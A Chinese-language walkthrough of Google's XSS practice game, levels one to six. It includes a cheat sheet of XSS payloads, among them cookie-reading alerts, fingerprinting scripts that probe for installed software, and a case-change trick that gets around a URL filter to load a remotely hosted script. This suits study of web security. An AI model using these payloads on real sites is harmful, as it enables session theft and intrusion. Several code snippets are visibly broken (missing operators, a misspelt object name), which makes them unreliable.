XSS闯关游戏第一关至第六关答案
网址:www.xss-game.appspot.com
XSS 常用 payload
代码语言:javascript复制反射型xss和存储型xss适用脚本(在搜索栏,提交框输入)
1.<script>alert(‘xss’)</script>
2.<script>alert(0)</script>
3.<img src=0 onerror=alert(0)>
4.<svg onload=alert(0)>
XSS交互型脚本(在URL中输入)
代码语言:javascript复制1.javascript:alert(0)
XSS弹cookie payload
代码语言:javascript复制1.<script>alert(document.cookie)</script>
2.alert(document.cookie)
3.<img src=0 onerror=alert(document.cookie)>
4.<svg onload=alert(document.cookie)>
XSS测试是否安装瑞星脚本
代码语言:javascript复制<script>
var havesoft=false;
var disk=['c','d'];
var soft=[':\Program Files\Rising\Ris\BackRav.dll/2/30994'];
for(i=0;i<soft.length;i )
{ for(j=0;j<disk.length;j )
{ var img=new Image();
res='res://' disk[j] soft[i];
img.src=res;
if(img.height!=30)
{
havesoft=true;
}
}
}
</script>
XSS了解环境组件
代码语言:javascript复制<script>
try{
var object = new ActiveiXObject(“XunLeiBHO.ThunderIEHelper”);
} catch(e){alert(“迅雷软件未安装”);
}
</script>
XSS了解浏览器和操作系统
代码语言:javascript复制<script>
alert(navigator.userAgent);
</script>
XSS加固
代码语言:javascript复制
设置cookie值为HttpOnly形式防止XSS攻击的代码
httpOnly 是在 Set-Cookie 时进行标记的,设置的 Cookie 头格式如下:
Set-Cookie: <name>=<value>[; <name>=<value>]
[; expires=<date>][; domain=<domain_name>]
[; path=<some_path>][; secure][; HttpOnly]
谷歌XSS闯关游戏第一关
1.这可能是一个反射型XSS跨站漏洞,在搜索栏内输入JS测试脚本
代码语言:javascript复制<script>alert(‘xss’)</script>
2.也可以用img进行测试
代码语言:javascript复制<img src=0 onerror=alert(0)>
3.还可以用svg进行测试
代码语言:javascript复制<svg onload=alert(0)>
点击Search
如图,弹出了一个窗口,显示的内容为xss,说明语句插入成功,因此第一关通过
备注:当此操作可以执行,弹出信息框,说明我们可以通过这种方式获取网页的cookie值了,只要将payload中的xss换成document.cookie就可以了:<script>alert(document.cookie)</script>
谷歌XSS闯关游戏第二关
网址:www.xss-game.appspot.com
1.这可能是一个存储型XSS跨站漏洞,可以有两种提交方式,一种是在URL栏提交XSS脚本,另一个就在提交留言处提交XSS脚本,首先在留言处提交一个无害脚本11111,看是否可以提交。
发现可以提交
2.使用img脚本进行测试(一般img成功率比较高)
代码语言:javascript复制<img src=0 onerror=alert(0)>
提交后
弹窗成功,第二关通过。
谷歌XSS闯关游戏第三关
网址:www.xss-game.appspot.com
第一页:image 1
第二页:image 2
第三页:image 3
1.我们可以看到在URL栏的末尾有#1的后缀,如果存在XSS漏洞,那么这就可能是一个DOM XSS漏洞。该网页是利用 # 数字 来实现控制页面的,所以第一步我们先将某一页提出来,检查它的源代码。
首先,这是一个函数,这个先不用看
其次,这一部分是加载绑定一些事件,也先不看
接下来这个事件的含义就是,当窗口载入的时候,执行function这个代码,即调用chooseTAB函数:可以看出,chooseTAB是根据self,location,hash,substr(1)的值来进行传递的。假如没有这些值的话,则默认为末尾的“1”。我们首先看看self.location.hash.substr(1)这是什么东西,复制self.location.hash.substr(1)
将语句self.location.hash.substr(1)改为window.location.hash.substr(1),放在控制台中执行一下
这里的意思就是我们执行的语句的值代表的是URL地址里面#位置后面的数字3
我们尝试一下在URL地址里修改这个数字3位aaaaaa,看到不断地再进行请求,可以看出这个函数还是有一点问题的。
2.分析页面函数:
首先choosTAB函数的规则是调用了(num),这里(num)指的就是下面的(self.location.hash.substr(1) || "1")
(num)传进来后,首先被转换成了一个整数型,即parseInt(num),然后构入到Image中,再加入网页变量html中,拼接了一个img,最终写入tabContent的区域中去。
关键的地方来了!!!
它真正可以写入的原因是没有对
代码语言:javascript复制html = "<img src='/static/level3/cloud" num ".jpg' />";
这句话进行过滤,因此我们只需要通过修改这句话就可以进行XSS入侵。
因为我用的是firefox火狐浏览器,可以使用火狐的firebug对页面源代码进行修改来测试效果,所以我使用firebug对源代码进行修改
1.打开firebug,寻找出未过滤的语句位置
2.找到未过滤字符,构造出onload=”alert(0)”,将
代码语言:javascript复制onload=”alert(0)”改为onload=”alert(document.cookie)”
构造就可以获取页面的cookie值了
执行
噢耶!!!大功告成!!!!!!
恭喜通过第三关!!!!
谷歌XSS闯关游戏第四关
网址:www.xss-game.appspot.com
1.首先点击一下Create timer看下有什么反应
url的地址多了尾缀timer=3
弹出了一个窗口timer is up
2.检查一下提交后尾缀带有timer=3页面的源代码,这里我们也是用firebug来进行查看和修改,看看它的函数是怎么写的。
我们来对url地址中的timer的值进行修改,再看看函数有什么变化
很显然有三处地方发生了改变,因此我们对这三个地方分别写入脚本进行测试看是否可以注入成功
1.测试三处有变动的位置
2.将your timer will execute in 444 second 中的444改为img测试脚本
代码语言:javascript复制your timer will execute in <img src=0 onerror=alert(0)> second
执行一下!
如图,输入的脚本在源代码中的显示!
弹窗成功!!!!恭喜通过第四关!!!!
第二种方法(发现有过滤转义进行绕过)
直接在startTimer(‘444’)后面加上alert=(‘0’)
再查看源代码的时候,发现有转义。这时候再利用hackbar中的转义功能用不同字符来进行测试
hackbar转义的方法(图为将;转义)
转义后
谷歌XSS闯关游戏第五关
网址:www.xss-game.appspot.com
1.这是一个交互型XSS漏洞
接下来我们来找控制网页改变的控制点,可以是在输入框中,也可以是在URL栏中。我先测试URL中的尾缀confirm,我先修改一下将confirm修改为www.qq.com
修改后,发现页面没有变化
说明confirm输入的那个位置是网页的一个控制点。
2.使用交互型xss脚本javascript:alert(0)输入在URL栏尾缀进行测试
运行一下,发现网页没有变化,接下来我们查看一下源代码看下我们的语句写入数据库中了没有
我们可以发现我们的脚本代码已经成功写入数据库中,能写入数据库中的就是“交互型XSS”
3.在输入栏中随意输入,测试弹框
点击next
弹框成功!!!!!!
恭喜通过第五关!
谷歌XSS闯关游戏第六关
网址:www.xss-game.appspot.com
1.这是一个远程执行的XSS漏洞,该网站上传了一个/static/gadget.js的js类型文件,正式利用这个js文件所以才打开了网页。因此思路就是建立一个远程服务器然后上传我们带有xss脚本的文件,最后更改这个/static/gadget.js为我们建立的远程服务器的URL文件地址,就可以实现执行我们搭建的服务器上文本的XSS脚本了!
2.检查网页源码
这句话的意思是如果#后的url若为http,那么报错
因此这是一个正则错误,并没有进行过滤,我可以通过更改大小写的方式实现绕过。比如输入Http,hTtP,httP等等方式就可以绕过了,这个是问题存在的根本原因!
3.搭建本地的服务器并上传xss脚本文件(xshell环境下)
(1)找到我们的apache目录,并设置其为打开路径
Apache的默认路径为 /var/www/html:
设置成功
(2)建立一个新文件写入XSS脚本alert(document.cookie): vim 123456.txt
写入XSS脚本: alert(document.cookie)
wq!保存
大功告成,接下来我们进入浏览器检查一下我们新建的脚本文件是否已经上传到服务器中
如上图,上传成功!
这样我们就成功建立了我们的一个脚本URL地址
4.在目标站上附上我们文件地址,并且修改http大小写实现绕过弹窗
执行成功!成功弹窗!
恭喜通过最后一关第六关!